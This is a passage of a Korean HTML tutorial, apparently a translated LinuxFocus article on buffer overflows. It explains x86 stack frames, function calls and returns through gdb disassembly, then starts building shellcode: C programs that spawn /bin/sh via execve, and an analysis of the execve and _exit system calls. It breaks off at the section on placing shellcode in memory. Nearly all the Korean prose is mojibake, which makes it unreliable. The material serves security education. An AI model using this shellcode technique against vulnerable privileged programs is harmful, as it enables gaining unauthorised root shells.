<TD><IMG src="../../common/images/article183/p2.png" alt="environment"
width="446" height="320"></TD>
<TD> �ι�° ������ �Լ����� ���ο� ȯ���� ����� ���� 
����Ѵ�. �̰��� ������ ���� ����(top)�� <CODE>%ebp</CODE>
�� ��ġ ��Ŵ���ν� ����������. ���� <CODE>%esp</CODE>�� 
<CODE>%ebp</CODE>�� �Ȱ��� �޸� address�� 
����Ű�� �ִ�. (�� �ּҴ� ������ ���¸� ��� 
�ִ� address �̴�.[environment address])</TD></TR>

<TR>
<TD><IMG src="../../common/images/article183/p3.png" alt=
"stack space for local variables" width="446" height="320"></TD>
<TD> ���� ���ÿ� ���� ������ �����ϱ� ���� ������ 
Ȯ���ؾ� �Ѵ�. �� ���ڿ��迭�� 5���� ��ҷ� 
�����Ǿ��ְ�(char str[5] = "abcde";),<CODE>char</CODE>����
1 byte�� ũ���̱� ������ 5 bytes�� ������
Ȯ���ϸ� ����� ������ ���δ�. ������ ������ 
���� <EM>words</EM>������ �ٷ������ ������ <EM>word</EM>�� 
���(1 <EM>word</EM>, 2 <EM>words</EM>, 3 <EM>words</EM>...)��
����Ǿ�� �Ѵ�. <EM>word</EM>�� 4bytes�� ��� 5bytes��
�����ϱ� ���ؼ��� 8bytes�� ������ �ʿ��ϴ�.(2 <EM>words<EM>)
�׸����� ��ĥ�� �κ��� ���ڿ� �κ��� �ƴ�����
�̷��� ��Ģ�� ���ؼ� ������ ���ȴ�. 
int�� <CODE>k</CODE>�� 4 bytes�� ������ ����Ѵ�.(int k = 3;)
 �� ������ <CODE>%esp</CODE> ���� <CODE>0xc</CODE>(�������� 12)
��ŭ�� ���� ���ҽ�Ŵ���ν� Ȯ���ȴ�. �̸� ���� ���������� 
8+4=12 bytes (i.e. 3 words)�� ����Ѵٴ� ���� �� �� �ִ�.</TD>
</TR>
</TABLE>
</CENTER>

<P> �� chapter�� ���뿡���� ���� ��� �̾߱����� 
������������ ���ؼ� �˾Ƶξ�� �� �߿��� ������ �ִ�.
�װ��� <FONT color="#FF0000">������������ <CODE>%ebp</CODE>
�� ���õɶ� ���� offset(<B>negative</B> offset)
�� �����ٴ� ���̴�.</FONT> ������ <CODE>main()</CODE>�Լ����� 
<CODE>i = 0;</CODE> �̶�� ������ ���ؼ� �̰��� ���캸�� �Ѵ�.
assembly code������ �����ּҹ������ ���� <CODE>i</CODE>�� access�Ѵ�:</P> 

<PRE>
<CODE>0x8048411 &lt;main+25&gt;:    movl   $0x0,0xfffffffc(%ebp)
</CODE>
</PRE>

 hex�� <CODE>0xfffffffc</CODE> �� int �� <CODE>-4</CODE>�� �ǹ��Ѵ�. 
�� ǥ���� �� <CODE>0</CODE>�� <CODE>%ebp</CODE>�� ���� -4bytes 
������ ���� �ִ� ������ �����Ѵ� ���� �ǹ��Ѵ�.
<CODE>i</CODE> ��<CODE>main()</CODE>�Լ����� �ϳ����� ���������̸� 
���� ���� ���� ���������̹Ƿ� <CODE>%ebp</CODE> �Ʒ� 4bytes(int���� size)
��ŭ ������ ���� ��ġ�Ѵ�. <BR>
<BR>
 


<A NAME="lfindex10">&nbsp;</A>
<H2>ȣ��</H2>


<P>�Լ��� prolog�κ��� ���� ȣ��� �Լ��� ���� ȯ���� �����ϴ� ����
�ۿ� ���� �ʴ´�. �Լ��� ���ڸ� ���޹ް� �� �Լ��� ������ ������ ��
ȣ��� �Լ��� �ڸ��� ���ư��� ������ �Լ��� ȣ��(the function call)��
����Ѵ�.</P>

<P> ���������� �Լ�ȣ��κ��� <CODE>toto(1,2);</CODE> �̴�.
�׷�,toto()�Լ��� ȣ�������� ����� �Ͼ���� �׸��� ���ؼ� 
�˾ƺ����� ����.</P>

<CENTER>
<TABLE width="90%" summary="images and text">
<CAPTION align="BOTTOM"><A name="call" href="#call">Diag. 2</A> :
Function call</CAPTION>

<TR>
<TD><IMG src="../../common/images/article183/a1.png" alt=
"argument on stack" width="446" height="320"></TD>
<TD>�Լ��� ȣ��DZ� ���� �Լ��� ���޵Ǵ� ���ڵ�(toto(1,2);����
1��2)�� ���ÿ� ����ȴ�. ���� �׸�����ó�� 1�� 2��
�ֱٿ� ���� ������ ���ۺκп� ���� ���̰� �ȴ�. �׸��� 
��Ÿ�� ��ó�� <CODE>%eip</CODE>�� ������ ������ ����(instruction)
�� �ּҸ� ������ ������ ���⿡�� �� �ּҴ� �ٷ� �Լ� ȣ��
(the function call)������ �ִ°��� �ּ��̴�.</TD></TR>

<TR>
<TD><IMG src="../../common/images/article183/a2.png" alt="call" width=
"446" height="320"></TD>
<TD>
<P> <CODE>call</CODE>������ ����ǰ� ����, <CODE>%eip</CODE>�� 
5bytes�ڿ� �ִ� ���ɾ��� �ּҸ� ������ �ȴ�.(�̴� <CODE>call</CODE>
�̶�� ���ɾ 5byte�� ũ�⸦ ������ �����̴�. �׷��� �̷��� 
���ɾ�� CPU�� �������̱� ������ �׻� �Ȱ��� ũ�⸦ �����ϴ� 
���� �ƴ��� �˾Ƶα� �ٶ���.) <CODE>call</CODE>������ �Լ��� 
����� ��, ȣ��� �Լ������� ���ƿ��� ���� ������ ������ 
�ּҸ� ������ �ִ� <CODE>%eip</CODE>�� �����ϰ� �ִ�.
�̷��� "backup"������ ���������� �������͸� ���ÿ� �ִ� ������
�����ϰ� �ִ�. �Ʒ��� ������ �̷��� ������ �����Ѵ�:</P>

<PRE>
    push %eip

</PRE>

<CODE>call</CODE>�� ����(�̱ۿ����� <CODE>call 0x80483d0</CODE> 
<CODE>toto()</CODE>�� <CODE>0x80483d0</CODE>)�δ� <CODE>toto()</CODE>�Լ���
prolog�κ��� ù��° ���ɾ� �ּҿ� ���� ���� �־�����. 
�� �ּҴ� <CODE>%eip</CODE>�� ����Ǹ�,<�׸� 5>������ ���� 
������ ������ ���ɾ�(<CODE>push %ebp</CODE>)�� ����Ű�� �ȴ�.</TD>
</TR>
</TABLE>
</CENTER>

<P> �Լ��ȿ��� � ���� ����� ������ <FONT color="#FF0000">�װ��� 
���ڵ�� ���� ��巹���� <CODE>%ebp</CODE>�� ���� ���� offset(<B>positive</B>
offset)�� ������.</FONT> �̴� next instruction�� <CODE>%ebp</CODE>�� 
������ �ֻ���(top)�� �ֱ�(push)�ϱ� �����̴�. <CODE>toto()</CODE>�Լ��ȿ� 
�ִ� <CODE>j= 0;</CODE>�̶�� ������ ������ �̸� �˾ƺ���. 
������� �ڵ�� <CODE>j</CODE>�� �����׼����ϱ� ���� ���Ǿ���:</P>

<PRE>
<CODE>0x80483ed &lt;toto+29&gt;:    movl   $0x0,0xc(%ebp)
</CODE>
</PRE>


 hex�� <CODE>0xc</CODE>�� integer <CODE>+12</CODE>�� ��Ÿ����. 
���� ���� ������ <CODE>%ebp</CODE>�� ���Ͽ� "+12bytes"��ŭ 
������ ���� �ִ� ������ <CODE>0</CODE>�̶� ���� �ְڴٴ� ���̴�.
<CODE>j</CODE>�� �Լ��� �ι�° �����̸�, <CODE>%ebp</CODE>�� 
�ֻ���("on top")���� 12bytes������ ���� ��ġ�Ѵ�.
(4bytes�� instruction pointer backup(������ ������
call�� ������ ���Ѵ�.)�̰�, 4bytes�� ù��° ����(1)�̰� �� ����
4bytes�� �ٷ� �ι�° ������ �ڸ��̴�.)<BR>
<BR>


<A NAME="lfindex11">&nbsp;</A>
<H2>���ϰ�</H2>


<P> �Լ����� ��� ������ �ΰ��� ������ �Ͼ��. ù��°��,
�Լ��� ���� ������� ȯ���� ������ ���ִ� ���̴�.
(�̴� �Լ�ȣ��(call) ������ ���·� <CODE>%ebp</CODE>�� 
<CODE>%eip</CODE>�� �������� ���� �ǹ��Ѵ�.). �̰��� ������ �츮�� 
�Լ��� ����� ������ ��� ���� ������ �˻��ϰ� �Լ��� ���������⸸ 
�ϸ� �ȴ�.</P>

<P> ù��° ������ �Լ����� ������ �������� ����ȴ�
:</P>

<BLOCKQUOTE>
<PRE>
leave
ret
</PRE>
</BLOCKQUOTE>

<P> �ι�° ������ �Լ��� ȣ��Ǿ����� ���ÿ� ��ġ�ϴ� �Լ��� 
���ڸ� ���ÿ��� û���ϴ� �۾��� �Ѵ�.</P>

<P><CODE>toto()</CODE>�Լ��� ������ �̷��� ������ ���캸��� ����.
</P>

<CENTER>
<TABLE width="90%" summary="images and text">
<CAPTION align="BOTTOM"><A name="return" href="#return">Diag. 3</A> :
Function return</CAPTION>

<TR>
<TD><IMG src="../../common/images/article183/r1.png" alt=
"initial situation" width="446" height="320"></TD>
<TD>���� �ۿ��� �ٷ� ȣ��� prolog�� �Ͼ�� ���� ���¿� 
���ؼ� �ٽ� �ѹ� ���÷� ����. �Լ� ȣ���� �Ͼ�� ����,
<CODE>%ebp</CODE>��<CODE>X</CODE>��� �ּҸ� ������ �־���,
<CODE>%esp</CODE>�� <CODE>Y</CODE>��� �ּҸ� ������ �־���. 
�׸����� ������ �Լ��� ȣ��ǰ� �� �Ŀ��� �Լ��� ���ڿ� 
����� <CODE>%eip</CODE>(���� ��巹��)�� <CODE>%ebp</CODE>(sfp)
,�׸��� ���������� ���� ������ Ȯ���Ǿ� ���ÿ� ����Ǿ�
�ִ�. �̷��� ���۵� ���Ŀ� ����� ������ �ٷ� <CODE>leave</CODE>�̴�.</TD>
</TR>

<TR>
<TD><IMG src="../../common/images/article183/r2.png" alt="leave" width=
"446" height="320"></TD>
<TD><CODE>leave</CODE>������ �Ʒ��� ���ɾ���� �����ϴ� �Ͱ� ���� 
������ �Ѵ�:

<BLOCKQUOTE>
<PRE>
    mov ebp esp
    pop ebp

</PRE>
</BLOCKQUOTE>

 ù��° ������ <CODE>%esp</CODE>�� <CODE>%ebp</CODE>�� ���ÿ��� 
���� ��ġ�� ���� ������ �Ѵ�. �ι�° ������ ������ �ֻ���(top)�� 
�ִ� ��(<CODE>X</CODE>��� address)�� <CODE>%ebp</CODE>�� �ִ� 
������ �Ѵ�(<CODE>%esp</CODE>�� <CODE>%ebp</CODE>�� ���� ��ġ�� 
����Ű�� <CODE>%ebp</CODE>�� pop�Ǹ� ��������� <CODE>%esp</CODE>
�� 4����Ʈ��ŭ �����ϰ� �ȴ�.).<CODE>leave</CODE>���ɾ� �ϳ�������, 
���ÿ��� prolog������ ���� ���� ��ó�� ���̰� �ȴ�.</TD>
</TR>

<TR>
<TD><IMG src="../../common/images/article183/r3.png" alt="restore"
width="446" height="320"></TD>
<TD><CODE>ret</CODE>���ɿ��� �Լ��� ����ǰ� �� ��(leaving)��
����� ���� �ּҸ� ������ �ִ� <CODE>%eip</CODE>�� ���ԵǾ� �ִ�. 
�̶����� <CODE>%eip</CODE>�� ������ �ֻ���(top)���� ���Ž��Ѿ� �Ѵ�.

<P>������ �Լ��� ���ڰ� ���ÿ� ���������Ƿ� �ʱ�ȭ ���°� ���� �ʾҴ�. 
�̵��� �����ϱ� ���� <CODE>%eip</CODE>�� ǥ���� <CODE>z+5</CODE>�� 
�ּ�(���⿡�� add������ �ִ�.)�� ������ ���ɾ�� ����Ѵ�.
(instruction address�� ���ÿ� ���Ͽ� �ݴ�������� �������� ����϶�.)</P>
</TD>
</TR>

<TR>
<TD><IMG src="../../common/images/article183/r4.png" alt=
"stacking of parameters" width="446" height="320"></TD>
<TD> ���ڵ��� ���ÿ� �׿��ִٰ� �Լ��� ����� �Ŀ��� ���ÿ��� 
������� �ȴ�(unstacking). �̰����� ���� �׸����� ȣ��� �Լ��� 
���ɾ�� ȣ���� �Լ��� ���ɾ� <CODE>add 0x8, %esp</CODE>�� ��Ÿ�´�. 
(ȣ��� �Լ�(called function)�� ȣ���� �Լ�(calling function)��
������ �������� �Ͽ���.). �̸���(<CODE>add 0x8, %esp</CODE>)�� 
<CODE>%esp</CODE>�� ������ �ֻ���(top)���� �������´�. 
���⼭ <CODE>0x8</CODE>�� <CODE>toto()</CODE>�Լ��� ���ڵ��� 
����� bytes���� ���Ѵ�. <CODE>%esp</CODE>,<CODE>%ebp</CODE>�� 
���� �Լ�ȣ��(call)���� ��Ȳ�� �Ǿ���. �ݸ鿡 <CODE>%eip</CODE>�� 
�޶��� ���� �׸��� ���ؼ� �� �� �ִ�.</TD>
</TR>
</TABLE>
</CENTER>

<A NAME="lfindex12">&nbsp;</A>
<H2>Disassembling</H2>


<P> gdb�� ����Ͽ� main()�Լ��� function()�Լ���
������� �ڵ带 ���� �� �ִ�:</P>

<BLOCKQUOTE>
<PRE>
&gt;&gt;gcc -g -o fct fct.c
&gt;&gt;gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    <B>//main</B>
Dump of assembler code for function main:
<FONT color= "#008F00">
0x80483f8 &lt;main&gt;:    push   %ebp <B>//prolog</B>
0x80483f9 &lt;main+1&gt;:  mov    %esp,%ebp
0x80483fb &lt;main+3&gt;:  sub    $0x4,%esp
</FONT>
0x80483fe &lt;main+6&gt;:  movl   $0x1,0xfffffffc(%ebp)
<FONT color= "#1122FF">
0x8048405 &lt;main+13&gt;: push   $0x2 <B>//call</B>
0x8048407 &lt;main+15&gt;: push   $0x1
0x8048409 &lt;main+17&gt;: call   0x80483d0 &lt;toto&gt;
</FONT>
<FONT color="#A13F00">
0x804840e &lt;main+22&gt;: add    $0x8,%esp <B>//return from toto()</B>
</FONT>
0x8048411 &lt;main+25&gt;: movl   $0x0,0xfffffffc(%ebp)
0x8048418 &lt;main+32&gt;: mov    0xfffffffc(%ebp),%eax
<FONT color="#1122FF">
0x804841b &lt;main+35&gt;: push   %eax     <B>//call</B>
0x804841c &lt;main+36&gt;: push   $0x8048486
0x8048421 &lt;main+41&gt;: call   0x8048308 &lt;printf&gt;
</FONT>
<FONT color= "#A13F00">
0x8048426 &lt;main+46&gt;: add    $0x8,%esp <B>//return from printf()</B>
0x8048429 &lt;main+49&gt;: leave            <B>//return from main()</B>
0x804842a &lt;main+50&gt;: ret
</FONT>
End of assembler dump.
(gdb) disassemble toto                    <B>//toto</B>
Dump of assembler code for function toto:
<FONT color="#008F00">
0x80483d0 &lt;toto&gt;:     push   %ebp   <B>//prolog</B>
0x80483d1 &lt;toto+1&gt;:   mov    %esp,%ebp
0x80483d3 &lt;toto+3&gt;:   sub    $0xc,%esp
</FONT>
0x80483d6 &lt;toto+6&gt;:   mov    0x8048480,%eax
0x80483db &lt;toto+11&gt;:  mov    %eax,0xfffffff8(%ebp)
0x80483de &lt;toto+14&gt;:  mov    0x8048484,%al
0x80483e3 &lt;toto+19&gt;:  mov    %al,0xfffffffc(%ebp)
0x80483e6 &lt;toto+22&gt;:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed &lt;toto+29&gt;:  movl   $0x0,0xc(%ebp)
0x80483f4 &lt;toto+36&gt;:  jmp    0x80483f6 &lt;toto+38&gt;
<FONT color="#A13F00">
0x80483f6 &lt;toto+38&gt;:  leave         <B>//return from toto()</B>
0x80483f7 &lt;toto+39&gt;:  ret
</FONT>
End of assembler dump.
</PRE>
</BLOCKQUOTE>

 ���� �ּ��� ���� ���� �κ��� ���ɵ��� ��κ� instance�� �Ҵ��ϴ�
���ɵ��̴�.

<A NAME="lfindex13">&nbsp;</A>
<H2>Creating a shellcode</H2>


<P>�Լ��� return address�� ������ �ּҷ� ������ ��� ���α׷��� 
���ÿ������� Ư���ڵ带 �����ų �� �ִ�. �̶�, cracker�� 
������ ������� �κ��� ���α׷�(application)�� user�� ID�� 
�ƴ� Ư�� ID,��, Set-UID�� daemon���� ����ǰ� �ִٴ� ����� ���̴�.
�̷� ������ �Ǽ��� document reader���� ���α׷����� �Ͼ�ٸ� 
����� �����ϴٰ� �� �� �ִ�. ��ǥ���� ���� Acrobat Reader bug�� 
�� �� �ִµ� �� bug�� buffer overflow�� �̿��Ͽ� ������ 
������ �� �ִ� bug�̴�. ����,�̷��� ���輺�� network services(i.e: imap)
���� �����ϰ� ������ �˾Ƶα� �ٶ���.</P>

<P> ���� �忡����, ��������� ����� �� �ִ� ����� ���ؼ� �ٷ���� �Ѵ�.
���⿡���� main application���� ����DZ� ���ϴ� code�� ���ؼ� �м��Ѵ�.
��������� ����ϱ� ���� ���� ������ �ذ�å�� shell�� �����Ű�� ������ 
�ڵ带 ����� ���̴�. ����� <CODE>/etc/passwd</CODE>������ ������ 
�ٲٴ� �ϵ��� ������ ������ �� �ְ� �� ���̴�. �̰��� ���� ��������
�̸������� �ٷ�� ������ �� ���α׷��� Assembly language�� ¥���ϱ� 
�����̴�. shell�� �����Ű�� �̷� ���� ���α׷����� �Ϲ������� <EM>
shell</EM>��� ���.</P>

<P> <P>�̱ۿ� ���� �������� Phrack magazine 49�� �Ǹ� Aleph One�� 
"<EM>Smashing the Stack for Fun and Profit</EM>"���� ����
������ �����.</P>

<A NAME="lfindex14">&nbsp;</A>
<H2>With C language</H2>


<P> shellcode�� ������ �ٷ� shell�� �����Ű�� ���̴�.
�̰��� C���� �����ϸ� ������ ����:</P>

<PRE>
/* shellcode1.c */

    #include &lt;stdio.h&gt;
    #include &lt;unistd.h&gt;

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}
</PRE>

<P> �Լ��� �̿��Ͽ� shell�� ȣ���ϴ����� �����ѵ�,
�������� ������ <CODE>execve()</CODE>�Լ��� ���� �̿�ȴ�.
ù°�� <CODE>exec()</CODE>�迭�� �ٸ� �Լ������ �޸� 
ǥ�� system-call(true system-call)�̶�� ���̴�.
������, <CODE>execve()</CODE>�� ���� �ٸ� <CODE>exec()</CODE>�迭�� 
GlibC library �Լ��� ���������. system-call�� interrupt�� ����
����ȴ�. �̷��� Ư¡�� �������͸� �����ϱ⿡ ����ϸ�,
�� �Լ��� ���빰�� ���� ȿ�����̸� ª�� assembly code�� 
���� �� �ִٴ� ������ ������.</P>

<P> ������,<CODE>execve()</CODE>�� ȣ���� ������������, 
<CODE>execve()</CODE>�� ȣ���� ���α׷� (���⼭��main application)�� 
���ο� ���α׷��� ���డ���� �ڵ�(executable code)�� 
��ü�ȴٴ� ������ ������. <CODE>execve()</CODE>�� 
ȣ���� �����ϴ��� ���α׷��� ��� ����ȴ�. �̱ۿ����� 
<CODE>execve()</CODE>�ڵ带 ������ ���α׷��� �߰��� �����Ͽ���. 
<CODE>execve()</CODE>ȣ���� �����ϴ���, ���α׷��� ��� �����Ű�� ����
���ǹ��ϴ�. ������ �����ϸ� ���� ������ �Ѵ�. <CODE>return(0)</CODE>�� 
<CODE>main()</CODE>�Լ����� ȣ���ϸ� ���α׷��� ������ ������ ������
���⼭�� �� ������ ����� �������� ���Ѵ�. ���� <CODE>exit()</CODE>�Լ��� 
����Ͽ� ���α׷��� ������ ������Ѿ� �Ѵ�. </P>

<PRE>
/* shellcode2.c */

    #include &lt;stdio.h&gt;
    #include &lt;unistd.h&gt;

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}
</PRE>

<P> ��� <CODE>exit()</CODE>�� ���� system-call�� <CODE>_exit()</CODE>
�� �ΰ� �ִ� ���ϳ��� ���̺귯�� �Լ��̴�. ���ο� �ڵ忡���� 
<CODE>_exit()</CODE>�� �Ἥ �ý����ʿ� �� ������ �Ͽ���:</P>

<PRE>
/* shellcode3.c */
    #include &lt;unistd.h&gt;
    #include &lt;stdio.h&gt;

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
</PRE>

 �����忡���� ���α׷��� �� ���α׷��� ������� �ڵ带 
���غ� ���̴�.

<A NAME="lfindex15">&nbsp;</A>
<H2>Assembly calls</H2>


 <CODE>gcc</CODE>�� <CODE>gdb</CODE>�� �̿��Ͽ� ���忡�� 
���α׷����ѰͿ� �ش��ϴ� assembly instruction�� 
���� �� �ִ�. <CODE>shellcode3.c</CODE>�� �����ɼ�(<CODE>-g</CODE>)��
�������̺귯���� �����ϱ� ���� �ɼ�(<CODE>--static</CODE>)
�� �߰��Ͽ� �������Ѵ�. �̸� ���Ͽ�, �츮�� 
system-call�� <CODE>_execve()</CODE>�� <CODE>_exit()</CODE>�� ������ 
������ �� �ִ� ����� ������ ���� �� �ִ�.

<PRE>
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
</PRE>

 ��������, <CODE>gdb</CODE>�� ����Ͽ� ���α׷��� ������� �ڵ带
���캼 ���̴�. �̰��� Inter�÷����� linux���� �׽�Ʈ
�Ѱ��̴�.(i386�� �� ���� ����)
Next, with <CODE>gdb</CODE>, we look for our functions Assembly
equivalent. This is for Linux on Intel platform (i386 and up).

<PRE>
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
</PRE>

 �Ʒ��� <CODE>main()</CODE>�Լ��� ������� �ڵ��̴�.

<PRE>
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 &lt;main&gt;:       push   %ebp
0x8048169 &lt;main+1&gt;:     mov    %esp,%ebp
0x804816b &lt;main+3&gt;:     sub    $0x8,%esp
0x804816e &lt;main+6&gt;:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 &lt;main+13&gt;:    movl   $0x0,0xfffffffc(%ebp)
0x804817c &lt;main+20&gt;:    mov    $0x8071ea8,%edx
0x8048181 &lt;main+25&gt;:    mov    %edx,0xfffffff8(%ebp)
0x8048184 &lt;main+28&gt;:    push   $0x0
0x8048186 &lt;main+30&gt;:    lea    0xfffffff8(%ebp),%eax
0x8048189 &lt;main+33&gt;:    push   %eax
0x804818a &lt;main+34&gt;:    push   %edx
<B>0x804818b &lt;main+35&gt;:    call   0x804d9ac &lt;__execve&gt;</B>
0x8048190 &lt;main+40&gt;:    push   $0x0
<B>0x8048192 &lt;main+42&gt;:    call   0x804d990 &lt;_exit&gt;</B>
0x8048197 &lt;main+47&gt;:    nop
End of assembler dump.
(gdb)
</PRE>

 ���� ���� ����,main()�Լ��� <CODE>0x804818b</CODE>�� <CODE>0x8048192</CODE>
���� �������� system-call�� ������ �ִ� C library subroutine�� ȣ���ϴ� ����
�� �� �ִ�.<CODE>0x804817c&nbsp;:&nbsp;mov&nbsp;$0x8071ea8,%edx</CODE>���ɾ�� 
�ּ�ó�� ���̴� ���� <CODE>%edx</CODE>�� ä���. �� �ּҿ� �ִ� ������ 
�Ʒ� ������ ����Ͽ� ���ڿ��� ��Ÿ������:

<PRE>
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
</PRE>


���� �츮�� ���ڿ��� ��� �ִ��� �˾Ҵ�.���� <CODE>execve()</CODE>�Լ��� 
<CODE>_exit()</CODE>�Լ��� disassemble �ڵ带 ���캸��:


<PRE>
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac &lt;__execve&gt;:    push   %ebp
0x804d9ad &lt;__execve+1&gt;:  mov    %esp,%ebp
0x804d9af &lt;__execve+3&gt;:  push   %edi
0x804d9b0 &lt;__execve+4&gt;:  push   %ebx
0x804d9b1 &lt;__execve+5&gt;:  mov    0x8(%ebp),%edi
0x804d9b4 &lt;__execve+8&gt;:  mov    $0x0,%eax
0x804d9b9 &lt;__execve+13&gt;: test   %eax,%eax
0x804d9bb &lt;__execve+15&gt;: je     0x804d9c2 &lt;__execve+22&gt;
0x804d9bd &lt;__execve+17&gt;: call   0x0
0x804d9c2 &lt;__execve+22&gt;: mov    0xc(%ebp),%ecx
0x804d9c5 &lt;__execve+25&gt;: mov    0x10(%ebp),%edx
0x804d9c8 &lt;__execve+28&gt;: push   %ebx
0x804d9c9 &lt;__execve+29&gt;: mov    %edi,%ebx
0x804d9cb &lt;__execve+31&gt;: mov    $0xb,%eax
<B>0x804d9d0 &lt;__execve+36&gt;: int    $0x80</B>
0x804d9d2 &lt;__execve+38&gt;: pop    %ebx
0x804d9d3 &lt;__execve+39&gt;: mov    %eax,%ebx
0x804d9d5 &lt;__execve+41&gt;: cmp    $0xfffff000,%ebx
0x804d9db &lt;__execve+47&gt;: jbe    0x804d9eb &lt;__execve+63&gt;
0x804d9dd &lt;__execve+49&gt;: call   0x8048c84 &lt;__errno_location&gt;
0x804d9e2 &lt;__execve+54&gt;: neg    %ebx
0x804d9e4 &lt;__execve+56&gt;: mov    %ebx,(%eax)
0x804d9e6 &lt;__execve+58&gt;: mov    $0xffffffff,%ebx
0x804d9eb &lt;__execve+63&gt;: mov    %ebx,%eax
0x804d9ed &lt;__execve+65&gt;: lea    0xfffffff8(%ebp),%esp
0x804d9f0 &lt;__execve+68&gt;: pop    %ebx
0x804d9f1 &lt;__execve+69&gt;: pop    %edi
0x804d9f2 &lt;__execve+70&gt;: leave
0x804d9f3 &lt;__execve+71&gt;: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 &lt;_exit&gt;:      mov    %ebx,%edx
0x804d992 &lt;_exit+2&gt;:    mov    0x4(%esp,1),%ebx
0x804d996 &lt;_exit+6&gt;:    mov    $0x1,%eax
<B>0x804d99b &lt;_exit+11&gt;:   int    $0x80</B>
0x804d99d &lt;_exit+13&gt;:   mov    %edx,%ebx
0x804d99f &lt;_exit+15&gt;:   cmp    $0xfffff001,%eax
0x804d9a4 &lt;_exit+20&gt;:   jae    0x804dd90 &lt;__syscall_error&gt;
End of assembler dump.
(gdb) quit
</PRE>

 ���� Ŀ�� ȣ���� <CODE>0x80</CODE>interrupt�� ���� �̷������. 
<CODE>execve()</CODE>�Լ���<CODE>0x804d9d0</CODE>, <CODE>_exit()</CODE>
�Լ��� <CODE>0x804d99b</CODE>���� interrupt��û�� �̷������.
�̺κп��� �� �� �ִ� �߿��� ������ ���� system-call�� <CODE>%eax</CODE>�ȿ�
�� ������ ����Ǵ� �������� Ư¡�� ������ �ִٴ� ���̴�.���� 
���� ����, <CODE>execve()</CODE>�� <CODE>0x0B</CODE>��� ����, 
<CODE>_exit()</CODE>�� <CODE>0x01</CODE>�̶�� ���� 
������ ������ �� �� �ִ�.

<P></P>

<CENTER>
<TABLE width="90%" summary="text and images">
<CAPTION align="BOTTOM"><A name="execve" href="#execve">Diag. 4</A> :
parameters of the <CODE>execve()</CODE> function</CAPTION>

<TR>
<TD><IMG src="../../common/images/article183/execve.png" alt=
"parameters of the execve() function"> </TD>
</TR>
</TABLE>
</CENTER>

<P>
 �̷��� �Լ����� ������� ���ɾ���� �м��غ���, ���ڵ��� 
��� ����Ǵ����� �� �� �ִ�:</P>

<UL>
<LI><CODE>execve()</CODE>�Լ��� ���� �μ��� �ʿ��ϴ�.(diag <A href=
"#execve">4</A>�� �����϶�.)&nbsp;:
<UL>
<LI><CODE>%ebx</CODE>�� ������ ������ ǥ���� ���ڿ��� �ּҸ� ������ �ִ�.
�̱ۿ����� "<CODE>/bin/sh</CODE>"�� ���Ѵ�.
(<CODE>0x804d9b1&nbsp;:&nbsp; mov&nbsp; 0x8(%ebp),%edi</CODE> �� 
<CODE>0x804d9c9&nbsp;:&nbsp; mov %edi,%ebx</CODE>������ 
�� ������ �����Ѵ�.)&nbsp; ;</LI>

<LI><CODE>%ecx</CODE>�� ���ڵ��� �迭 �ּҸ� ������ �ִ�
(<CODE>0x804d9c2&nbsp;:&nbsp;mov&nbsp;0xc(%ebp),%ecx</CODE>).
ù��° ���ڴ� ���α׷��� �̸��̾���ϸ�,�ٸ� ���� �ʿ����.
(�迭�� ���ڿ� "<CODE>/bin/sh</CODE>"�� �ּҿ� NULL�����͸����ε� ����ϴ�;
</LI>

<LI><CODE>%edx</CODE>�� ���α׷��� �����ϱ� ���� ȯ���� ǥ���� �迭�� �ּҸ� 
������ �ִ�(<CODE>0x804d9c5&nbsp;:&nbsp;mov&nbsp;0x10(%ebp),%edx</CODE>).
�� �ۿ����� ���α׷��� �����ϰ��ϱ� ����, ȯ�漳���� ���� �ʾҴ�
(empty environment): NULL�����Ͱ� �� ������ ����� �����Ѵ�.</LI>
</UL>
</LI>

<LI><CODE>_exit()</CODE>�Լ��� ���μ����� ������, �װ��� �θ�(�Ϲ������� 
shell)���� <CODE>%ebx</CODE>�� ����� �����ڵ带 �����ش�&nbsp;;</LI>
</UL>

<P>�츮�� ���ڿ� "<CODE>/bin/sh</CODE>"�� �� ���ڿ��� ����Ű�� ������, �׸��� 
NULL�����Ͱ� �ʿ��ϴ�(���ɿ� ���� �μ��� �ƹ��͵� ���� �ʾҰ�,
ȯ����� �������� �ʾұ� �����̴�.).�츮�� <CODE>execve()</CODE>
ȣ������ ������ ������ ǥ���� �� �� �ִ�. NULL �����Ͱ� �ڵ�����,
���ڿ�<CODE>/bin/sh</CODE>�� �μ��� ���� �������� �迭�� �����,
<CODE>%ebx</CODE>�� ���ڿ��� ����Ű��,<CODE>%ecx</CODE>�� �迭
��ü��,<CODE>%edx</CODE>�� �迭�� �ι�° ������ NULL�� ����Ű��
�϶�. �̰��� �׸����� ��Ÿ���� diag. <A href=
"#data">5</A>�� ����.</P>

<CENTER>
<TABLE width="90%" summary="one image">
<CAPTION align="BOTTOM"><A name="data" href="#data">Diag. 5</A> : data
representation relative to registers</CAPTION>

<TR>
<TD><IMG src="../../common/images/article183/art_02_01.gif" alt="data"
width="300" height="120"> </TD>
</TR>
</TABLE>
</CENTER>

<A NAME="lfindex16">&nbsp;</A>
<H2>Locating the shellcode within memory</H2>


<P> vulnerable�� ���α׷��� shellcode�� �ִ� �Ϲ����� �����
shellcode�� ����ȭ�� ���ڿ��̳� ȯ�溯���� �����Ͽ� 
